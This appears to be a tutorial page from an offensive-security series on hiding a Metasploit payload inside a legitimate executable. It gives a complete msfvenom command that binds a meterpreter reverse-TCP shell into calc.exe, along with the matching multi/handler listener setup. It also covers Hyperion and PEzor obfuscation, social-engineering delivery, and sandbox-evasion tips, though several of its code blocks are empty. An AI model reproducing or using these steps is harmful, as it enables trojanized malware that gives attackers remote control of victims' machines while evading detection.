13. Metasploit Wrapping Payload Inside a Legitimate Executable
Let's enhance the stealth of the Python loader by wrapping it inside a legitimate executable while maintaining its functionality. This technique masks the malicious payload as a benign application.
Scenario¶
We will:
- Obfuscate the Python loader by compiling it.
- Combine it with a legitimate executable to avoid suspicion.
1. Prepare the Benign Executable¶
Choose a Legitimate File¶
Select a small and harmless executable, such as a calculator application (calc.exe).
2. Obfuscate the Python Loader¶
Compile the Python loader into an executable:
-
Install
pyinstaller: -
Compile the loader:
--onefile: Packages everything into a single file.--noconsole: Suppresses the console window.
Output:
dist/loader.exe
3. Combine Loader and Benign Executable¶
We will bind calc.exe with loader.exe using a payload binder.
Option 1: Using msfvenom¶
Bind the two executables together:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x calc.exe -k -f exe -o final_payload.exe
-x calc.exe: Specifies the benign executable.-k: Ensures the original functionality ofcalc.exeremains intact.-f exe: Output format is an executable.-o final_payload.exe: Output file name.
4. Advanced Obfuscation with Tools¶
For more stealth, use advanced tools like Hyperion or PEzor.
Option 2: Hyperion¶
Hyperion encrypts the payload and decrypts it in memory during execution.
-
Install Hyperion:
-
Clone the repository:
-
Compile:
-
-
Encrypt the Payload:
5. Deploy the Combined Payload¶
-
Host the file on a server:
-
Use social engineering to distribute the file to the target.
6. Set Up Listener¶
On the attacker's machine:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit
7. Execute the Payload on the Target¶
-
Download the file on the target system:
-
Run the payload:
The legitimate
calc.exeopens, while the maliciousloader.exeexecutes in the background.
8. Optional: Further Obfuscate with PEzor¶
-
Download and install PEzor:
-
Use PEzor to further obfuscate the
final_payload.exe:
Tips for Enhanced Stealth¶
-
Code Customization:
- Randomize variable names in the Python loader to avoid signature detection.
- Add benign functionality like opening a decoy document or image.
- Time-delayed Execution: Add a delay before executing the payload to avoid immediate detection:
-
Environment Checks: Check for sandbox or virtual machine environments before running the payload: